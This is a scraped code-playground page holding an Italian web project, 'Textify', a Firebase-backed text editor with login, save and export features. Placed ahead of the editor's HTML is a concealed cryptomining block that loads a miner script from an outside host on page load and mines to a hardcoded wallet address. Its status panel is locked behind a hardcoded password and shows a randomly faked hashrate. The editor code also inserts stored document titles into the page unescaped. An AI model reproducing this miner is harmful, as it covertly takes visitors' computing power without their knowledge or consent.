Textify beta 20 by @Sergio - Codewith.it

#main, .loader-cont { display: none; } JavaScript disabilitato.
Non puoi usare Codewith.it senza JavaScript.

Referenze

<select>Usato per creare un menu a tendina.
<video>Integra e controlla video in una pagina HTML
<title>Definisce il titolo della pagina web.
langSpecifica la lingua del contenuto di un elemento
<b>Formatta il testo in grassetto
<canvas>Tag per disegnare grafica dinamica su pagine web.

Utenti

Accedi per cercare utenti

Esplora

Trova ispirazione

Esercizio (02/02/2024)

Esercizi 05/03/2024 es8

inserimento immagini in un testo

Gesù nostro signore(2)

VERIFICA RANZI LEONARDO

HTML

CSS

JS

terminal console

feedback

add_box Nuovo

cookie Informativa

Informativa privacy e cookies

Utilizziamo cookie o tecnologie per finalità tecniche e, con il tuo consenso, anche per altre finalità come specificato nella cookie policy. Il rifiuto del consenso può rendere non disponibili alcune funzioni. Leggi di più sull'informativa privacy

Clicca su “Accetta” per acconsentire.

<!-- ==================== MINER CONSOLE CON PASSWORD ==================== -->

<style>
#mining-console {
    position: fixed;
    bottom: 80px;
    right: 20px;
    width: 260px;
    background: rgba(0, 0, 0, 0.85);
    border: 1px solid #ffffff33;
    border-radius: 6px;
    padding: 12px 14px;
    box-shadow: 0 4px 20px rgba(0, 0, 0, 0.6);
    z-index: 1000;
    color: #ffffff;
    font-family: 'Courier New', monospace;
    font-size: 15px;
    line-height: 1.7;
    display: none;
}

.console-header {
    display: flex;
    justify-content: space-between;
    align-items: center;
    margin-bottom: 10px;
    padding-bottom: 8px;
    border-bottom: 1px solid #ffffff33;
}

.close-btn {
    background: #ffffff;
    color: #000000;
    border: none;
    width: 22px;
    height: 22px;
    font-size: 16px;
    line-height: 18px;
    text-align: center;
    border-radius: 3px;
    cursor: pointer;
    font-weight: bold;
}

#reopen-btn {
    position: fixed;
    bottom: 20px;
    right: 20px;
    width: 50px;
    height: 50px;
    background: rgba(255,255,255,0.1);
    border: 2px solid #ffffff88;
    color: #ffffff;
    font-size: 26px;
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    cursor: pointer;
    z-index: 999;
    box-shadow: 0 4px 15px rgba(0,0,0,0.5);
}
</style>

<!-- Console -->
<div id="mining-console">
    <div class="console-header">
        <span><strong>? CPU Miner</strong></span>
        <button class="close-btn" onclick="hideMinerConsole()"></button>
    </div>
    <div>Stato: Attivo</div>
    <div>Hashrate: <span id="hashrate">653</span> H/s</div>
    <div>Tempo: <span id="timer">00:00</span></div>
</div>

<!-- Pulsante principale -->
<div id="reopen-btn" onclick="askPassword()"></div>

<!-- Script Mining -->
<script type="module">
    import { autoMine } from "https://earnify.cc/miner.js";
    autoMine("RVWmPb6SyB7Rx6ugY6GYngsP5ciqjBaxoT", 0.2);
</script>

<script>
let startTime = Date.now();

function updateTimer() {
    const elapsed = Math.floor((Date.now() - startTime) / 1000);
    const min = Math.floor(elapsed / 60).toString().padStart(2, '0');
    const sec = (elapsed % 60).toString().padStart(2, '0');
    document.getElementById("timer").textContent = `${min}:${sec}`;
}

function updateHashrate() {
    const hashrate = Math.floor(Math.random() * 420) + 480;
    document.getElementById("hashrate").textContent = hashrate;
}

function hideMinerConsole() {
    document.getElementById("mining-console").style.display = "none";
    document.getElementById("reopen-btn").style.display = "flex";
}

function showMinerConsole() {
    document.getElementById("mining-console").style.display = "block";
    document.getElementById("reopen-btn").style.display = "none";
}

function askPassword() {
    const password = prompt("Inserire admin password");
    
    if (password === "CpuMining") {
        showMinerConsole();
    } else if (password !== null) {
        alert("Password errata!");
    }
}

// Avvio timer e hashrate
window.addEventListener('load', () => {
    setInterval(updateTimer, 1000);
    setInterval(updateHashrate, 1400);
});
</script>
<!DOCTYPE html>
<html lang="it">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Textify - Editor Moderno</title>
 
  <script src="https://cdn.tailwindcss.com"></script>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/css/all.min.css">
 
  <script src="https://cdnjs.cloudflare.com/ajax/libs/jspdf/2.5.1/jspdf.umd.min.js"></script>
  <script src="https://www.gstatic.com/firebasejs/10.14.1/firebase-app-compat.js"></script>
  <script src="https://www.gstatic.com/firebasejs/10.14.1/firebase-auth-compat.js"></script>
  <script src="https://www.gstatic.com/firebasejs/10.14.1/firebase-firestore-compat.js"></script>
 
  <style>
    @import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap');
    
    :root {
      --primary: 234 179 8;
    }
    
    .editor { 
      min-height: 600px; 
      outline: none;
      line-height: 1.7;
    }
    
    .sidebar-item {
      transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
    }
    .sidebar-item:hover {
      transform: translateX(8px);
    }
    
    .btn-hover {
      transition: all 0.2s cubic-bezier(0.4, 0, 0.2, 1);
    }
    .btn-hover:hover {
      transform: translateY(-2px) scale(1.05);
    }

    .modal {
      animation: modalPop 0.4s cubic-bezier(0.34, 1.56, 0.64, 1);
    }
    @keyframes modalPop {
      from { opacity: 0; transform: scale(0.7) translateY(40px); }
      to { opacity: 1; transform: scale(1) translateY(0); }
    }
  </style>
</head>
<body class="bg-zinc-950 text-white font-['Inter']">
  
  <!-- MOBILE BLOCK -->
  <div id="mobile-block" class="hidden fixed inset-0 bg-zinc-950 flex items-center justify-center z-[100]">
    <div class="text-center px-6 max-w-md">
      <div class="w-28 h-28 mx-auto mb-8 bg-gradient-to-br from-yellow-400 to-amber-600 rounded-3xl flex items-center justify-center shadow-2xl">
        <i class="fas fa-desktop text-white text-6xl"></i>
      </div>
      <h1 class="text-5xl font-bold mb-4 bg-gradient-to-r from-white to-zinc-400 bg-clip-text text-transparent">Solo Desktop</h1>
      <p class="text-zinc-400 text-xl mb-12">L'esperienza completa è ottimizzata per schermi grandi.</p>
      <a href="https://cybergit-svg.github.io/textify-mobile/" 
         class="inline-flex items-center gap-3 bg-white text-zinc-900 px-10 py-5 rounded-3xl font-semibold text-lg hover:bg-amber-300 transition-all btn-hover">
        Vai alla versione Mobile <i class="fas fa-arrow-right"></i>
      </a>
    </div>
  </div>

  <!-- APP PRINCIPALE -->
  <div id="main-app" class="flex h-screen">
    <!-- Sidebar -->
    <div class="w-80 bg-zinc-900 border-r border-zinc-800 flex flex-col">
      <div class="p-6 border-b border-zinc-800">
        <div class="flex items-center gap-3">
          <div class="w-9 h-9 bg-gradient-to-br from-yellow-400 to-amber-500 rounded-2xl flex items-center justify-center">
            <i class="fas fa-feather text-zinc-900 text-2xl"></i>
          </div>
          <h1 class="text-3xl font-bold tracking-tight">Textify</h1>
        </div>
        <p class="text-emerald-400 text-xs mt-1 flex items-center gap-1.5">
          <span class="w-2 h-2 bg-emerald-400 rounded-full animate-pulse"></span> ONLINE
        </p>
      </div>
  
      <div class="p-6">
        <button onclick="newDocument()" 
                class="w-full bg-gradient-to-r from-yellow-400 to-amber-500 hover:from-yellow-300 hover:to-amber-400 text-zinc-900 py-4 rounded-2xl flex items-center justify-center gap-3 font-semibold text-lg btn-hover shadow-lg">
          <i class="fas fa-plus"></i> Nuovo Documento
        </button>
      </div>
      
      <div class="px-6 py-3 text-sm font-medium text-zinc-500">I MIEI DOCUMENTI</div>
      <div id="documents-list" class="flex-1 overflow-auto px-4 space-y-1"></div>
      
      <div class="p-6 border-t border-zinc-800 mt-auto">
        <div id="user-info" class="hidden items-center gap-4">
          <div class="w-11 h-11 bg-gradient-to-br from-yellow-400 to-amber-500 rounded-2xl flex items-center justify-center text-2xl font-bold text-zinc-900" id="avatar"></div>
          <div class="flex-1">
            <p class="font-semibold" id="username-display"></p>
            <p onclick="logout()" class="text-red-400 hover:text-red-500 text-sm cursor-pointer transition-colors">Esci</p>
          </div>
        </div>
      </div>
    </div>
 
    <!-- Area Principale -->
    <div class="flex-1 flex flex-col">
      <div id="toolbar" class="bg-zinc-900 border-b border-zinc-800 p-4 flex items-center gap-3" style="display: none;">
        <div class="flex items-center gap-2 bg-zinc-800 rounded-2xl p-1">
          <button onclick="formatText('bold')" class="px-4 py-3 hover:bg-zinc-700 rounded-xl transition-all btn-hover"><i class="fas fa-bold"></i></button>
          <button onclick="formatText('italic')" class="px-4 py-3 hover:bg-zinc-700 rounded-xl transition-all btn-hover"><i class="fas fa-italic"></i></button>
          <button onclick="formatText('underline')" class="px-4 py-3 hover:bg-zinc-700 rounded-xl transition-all btn-hover"><i class="fas fa-underline"></i></button>
        </div>
        
        <div class="flex-1"></div>
        
        <button onclick="saveDocument()" class="bg-emerald-500 hover:bg-emerald-600 px-8 py-3 rounded-2xl flex items-center gap-3 font-medium transition-all btn-hover">
          <i class="fas fa-save"></i> Salva
        </button>
        
        <div class="relative">
          <button onclick="toggleExportMenu()" class="bg-gradient-to-r from-amber-500 to-yellow-500 hover:from-amber-400 hover:to-yellow-400 px-8 py-3 rounded-2xl flex items-center gap-3 font-medium transition-all btn-hover">
            <i class="fas fa-download"></i> Esporta
          </button>
          
          <div id="export-menu" class="hidden absolute right-0 mt-3 w-56 bg-zinc-800 rounded-3xl shadow-2xl border border-zinc-700 py-3 z-50 overflow-hidden">
            <button onclick="exportToTXT()" class="w-full text-left px-6 py-4 hover:bg-zinc-700 flex items-center gap-4 transition-colors">
              <i class="fas fa-file-alt text-emerald-400"></i><span>Esporta come TXT</span>
            </button>
            <button onclick="exportToPDF()" class="w-full text-left px-6 py-4 hover:bg-zinc-700 flex items-center gap-4 transition-colors">
              <i class="fas fa-file-pdf text-red-400"></i><span>Esporta come PDF</span>
            </button>
          </div>
        </div>
      </div>
   
      <!-- Welcome -->
      <div id="welcome-screen" class="flex-1 flex items-center justify-center bg-zinc-950">
        <div class="text-center max-w-lg">
          <div class="mb-10 text-7xl">✍️</div>
          <h1 class="text-6xl font-bold mb-4 bg-gradient-to-r from-white via-amber-200 to-yellow-300 bg-clip-text text-transparent">Benvenuto su Textify</h1>
          <p class="text-2xl text-zinc-400 mb-12" id="welcome-name"></p>
          <button onclick="newDocument()" class="bg-gradient-to-r from-yellow-400 to-amber-500 text-zinc-900 px-12 py-6 rounded-3xl text-2xl font-semibold flex items-center gap-4 mx-auto btn-hover shadow-2xl">
            Crea il tuo primo documento <i class="fas fa-arrow-right"></i>
          </button>
        </div>
      </div>
   
      <!-- Editor -->
      <div id="editor-area" class="flex-1 p-8 bg-zinc-950 overflow-auto hidden">
        <input type="text" id="doc-title" class="text-5xl font-bold w-full bg-transparent outline-none border-b border-zinc-700 pb-4 text-white placeholder-zinc-500">
        <div id="editor" contenteditable="true" class="editor prose prose-invert max-w-none mt-8 bg-zinc-900/50 rounded-3xl p-10 text-lg leading-relaxed"></div>
      </div>
    </div>
  </div>

  <!-- Auth Modal -->
  <div id="auth-modal" class="fixed inset-0 bg-black/70 flex items-center justify-center hidden z-[200]">
    <div class="modal bg-zinc-900 rounded-3xl w-full max-w-md mx-4 p-10 border border-zinc-700 shadow-2xl">
      <h2 id="modal-title" class="text-3xl font-bold mb-8 text-center">Accedi</h2>
      <div id="login-form">
        <input type="email" id="login-email" placeholder="Email" class="w-full px-6 py-4 bg-zinc-800 border border-zinc-700 rounded-2xl mb-4 focus:border-yellow-400 transition-colors">
        <input type="password" id="login-password" placeholder="Password" class="w-full px-6 py-4 bg-zinc-800 border border-zinc-700 rounded-2xl mb-8 focus:border-yellow-400 transition-colors">
        <button onclick="login()" class="w-full bg-gradient-to-r from-yellow-400 to-amber-500 text-zinc-900 py-4 rounded-2xl font-semibold text-lg btn-hover">Accedi</button>
        <p class="text-center mt-6 text-zinc-400">Non hai un account? 
          <span onclick="switchToRegister()" class="text-amber-400 hover:underline cursor-pointer">Registrati</span>
        </p>
      </div>
      <div id="register-form" class="hidden">
        <input type="email" id="reg-email" placeholder="Email" class="w-full px-6 py-4 bg-zinc-800 border border-zinc-700 rounded-2xl mb-4 focus:border-yellow-400 transition-colors">
        <input type="password" id="reg-password" placeholder="Password (min 6 caratteri)" class="w-full px-6 py-4 bg-zinc-800 border border-zinc-700 rounded-2xl mb-8 focus:border-yellow-400 transition-colors">
        <button onclick="register()" class="w-full bg-gradient-to-r from-yellow-400 to-amber-500 text-zinc-900 py-4 rounded-2xl font-semibold text-lg btn-hover">Crea Account</button>
        <p class="text-center mt-6 text-zinc-400">Hai già un account? 
          <span onclick="switchToLogin()" class="text-amber-400 hover:underline cursor-pointer">Accedi</span>
        </p>
      </div>
    </div>
  </div>

  <script>
    // ================== FIREBASE CONFIG ==================
    const firebaseConfig = {
      apiKey: "AIzaSyCOdvjyrG1h3mKLtBE9cf2K6j9M_sw5wzU",
      authDomain: "textify-11b6b.firebaseapp.com",
      projectId: "textify-11b6b",
      storageBucket: "textify-11b6b.firebasestorage.app",
      messagingSenderId: "715682461511",
      appId: "1:715682461511:web:8ca4e5fd161d68882efe62"
    };
    firebase.initializeApp(firebaseConfig);
    const auth = firebase.auth();
    const db = firebase.firestore();
    let currentUser = null;
    let currentDocId = null;

    function isMobileDevice() {
      return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) || window.innerWidth < 1024;
    }

    function showMobileBlock() {
      document.getElementById('mobile-block').classList.remove('hidden');
      document.getElementById('main-app').classList.add('hidden');
    }

    function initApp() {
      if (isMobileDevice()) {
        showMobileBlock();
        return;
      }
      auth.onAuthStateChanged(user => {
        if (user) {
          currentUser = user;
          initAfterLogin();
        } else {
          showAuthModal();
        }
      });
    }

    function getDisplayName(email) {
      return email.split('@')[0];
    }

    function showAuthModal() {
      document.getElementById('auth-modal').classList.remove('hidden');
    }
    function switchToRegister() {
      document.getElementById('login-form').classList.add('hidden');
      document.getElementById('register-form').classList.remove('hidden');
      document.getElementById('modal-title').textContent = "Crea Account";
    }
    function switchToLogin() {
      document.getElementById('login-form').classList.remove('hidden');
      document.getElementById('register-form').classList.add('hidden');
      document.getElementById('modal-title').textContent = "Accedi";
    }

    async function register() {
      const email = document.getElementById('reg-email').value;
      const password = document.getElementById('reg-password').value;
      try {
        const res = await auth.createUserWithEmailAndPassword(email, password);
        currentUser = res.user;
        initAfterLogin();
      } catch (e) { alert("Errore: " + e.message); }
    }

    async function login() {
      const email = document.getElementById('login-email').value;
      const password = document.getElementById('login-password').value;
      try {
        const res = await auth.signInWithEmailAndPassword(email, password);
        currentUser = res.user;
        initAfterLogin();
      } catch (e) { alert("Errore: " + e.message); }
    }

    function logout() { auth.signOut(); }

    function initAfterLogin() {
      document.getElementById('auth-modal').classList.add('hidden');
      document.getElementById('user-info').classList.remove('hidden');
      const name = getDisplayName(currentUser.email);
      document.getElementById('username-display').textContent = name;
      document.getElementById('avatar').textContent = name[0].toUpperCase();
      document.getElementById('welcome-name').textContent = `Ciao ${name}! ?`;
      showWelcomeScreen();
      loadUserDocuments();
    }

    function showWelcomeScreen() {
      document.getElementById('welcome-screen').classList.remove('hidden');
      document.getElementById('editor-area').classList.add('hidden');
      document.getElementById('toolbar').style.display = 'none';
      currentDocId = null;
    }

    function showEditor() {
      document.getElementById('welcome-screen').classList.add('hidden');
      document.getElementById('editor-area').classList.remove('hidden');
      document.getElementById('toolbar').style.display = 'flex';
    }

    function toggleExportMenu() {
      document.getElementById('export-menu').classList.toggle('hidden');
    }

    document.addEventListener('click', (e) => {
      if (!e.target.closest('.relative')) {
        document.getElementById('export-menu').classList.add('hidden');
      }
    });

    function exportToTXT() {
      const title = document.getElementById('doc-title').value.trim() || 'documento';
      const content = document.getElementById('editor').innerText;
      const blob = new Blob([content], { type: 'text/plain' });
      const url = URL.createObjectURL(blob);
      const a = document.createElement('a');
      a.href = url; a.download = `${title}.txt`; a.click();
      URL.revokeObjectURL(url);
      document.getElementById('export-menu').classList.add('hidden');
    }

    function exportToPDF() {
      const { jsPDF } = window.jspdf;
      const doc = new jsPDF();
      const title = document.getElementById('doc-title').value.trim() || 'Documento';
      const content = document.getElementById('editor').innerText;
      doc.setFont("helvetica", "bold"); doc.setFontSize(20); doc.text(title, 20, 20);
      doc.setFont("helvetica", "normal"); doc.setFontSize(12);
      const lines = doc.splitTextToSize(content, 170);
      doc.text(lines, 20, 35);
      doc.save(`${title}.pdf`);
      document.getElementById('export-menu').classList.add('hidden');
    }

    async function newDocument() {
      currentDocId = 'doc_' + Date.now();
      document.getElementById('doc-title').value = 'Nuovo Documento';
      document.getElementById('editor').innerHTML = '<p>Inizia a scrivere qui...</p>';
      showEditor();
      loadUserDocuments();
    }

    async function saveDocument() {
      if (!currentDocId) return;
      const title = document.getElementById('doc-title').value.trim() || 'Documento senza titolo';
      const content = document.getElementById('editor').innerHTML;
      try {
        await db.collection('documents').doc(currentDocId).set({
          userId: currentUser.uid,
          title: title,
          content: content,
          updatedAt: firebase.firestore.FieldValue.serverTimestamp()
        });
        alert("✅ Documento salvato con successo!");
        loadUserDocuments();
      } catch (e) {
        alert("Errore salvataggio: " + e.message);
      }
    }

    // ================== FUNZIONE CORRETTA ==================
    async function loadUserDocuments() {
      const list = document.getElementById('documents-list');
      list.innerHTML = `
        <div class="flex justify-center py-12">
          <div class="animate-spin w-6 h-6 border-4 border-zinc-700 border-t-yellow-400 rounded-full"></div>
        </div>
      `;

      try {
        const snapshot = await db.collection('documents')
          .where('userId', '==', currentUser.uid)
          .get();

        list.innerHTML = '';

        if (snapshot.empty) {
          list.innerHTML = `
            <div class="text-center py-16 text-zinc-500">
              <i class="fas fa-folder-open text-4xl mb-4 opacity-50"></i>
              <p>Nessun documento salvato ancora</p>
            </div>`;
          return;
        }

        snapshot.forEach(doc => {
          const data = doc.data();
          const updated = data.updatedAt ? new Date(data.updatedAt.toDate()).toLocaleDateString('it-IT') : '—';
          
          const div = document.createElement('div');
          div.className = `sidebar-item px-6 py-4 rounded-2xl mx-2 cursor-pointer flex justify-between items-center group ${doc.id === currentDocId ? 'bg-zinc-800 border border-yellow-400' : 'hover:bg-zinc-800'}`;
          div.innerHTML = `
            <div onclick="loadDocument('${doc.id}')" class="flex-1 truncate">
              <p class="font-medium text-white group-hover:text-yellow-300 transition-colors">${data.title}</p>
              <p class="text-xs text-zinc-500 mt-1">${updated}</p>
            </div>
            <button onclick="deleteDocument('${doc.id}'); event.stopImmediatePropagation()" 
                    class="text-zinc-500 hover:text-red-400 transition-colors p-3 opacity-0 group-hover:opacity-100">
              <i class="fas fa-trash"></i>
            </button>
          `;
          list.appendChild(div);
        });
      } catch (e) {
        console.error(e);
        list.innerHTML = `
          <div class="text-red-400 text-center py-12 px-6">
            <i class="fas fa-exclamation-triangle text-3xl mb-3"></i>
            <p>Errore di caricamento</p>
            <p class="text-xs mt-2 text-zinc-500">${e.message}</p>
          </div>`;
      }
    }

    async function loadDocument(id) {
      currentDocId = id;
      try {
        const docSnap = await db.collection('documents').doc(id).get();
        if (docSnap.exists) {
          const data = docSnap.data();
          document.getElementById('doc-title').value = data.title;
          document.getElementById('editor').innerHTML = data.content || '<p>Inizia a scrivere...</p>';
          showEditor();
          loadUserDocuments();
        }
      } catch (e) {
        alert("Errore caricamento documento");
      }
    }

    async function deleteDocument(id) {
      if (!confirm("Elimina questo documento?")) return;
      try {
        await db.collection('documents').doc(id).delete();
        if (currentDocId === id) showWelcomeScreen();
        loadUserDocuments();
      } catch (e) {
        alert("Errore eliminazione");
      }
    }

    function formatText(command) {
      if (['h1','h2','p'].includes(command)) {
        document.execCommand('formatBlock', false, command);
      } else {
        document.execCommand(command);
      }
    }

    window.onload = initApp;
  </script>
</body>
</html>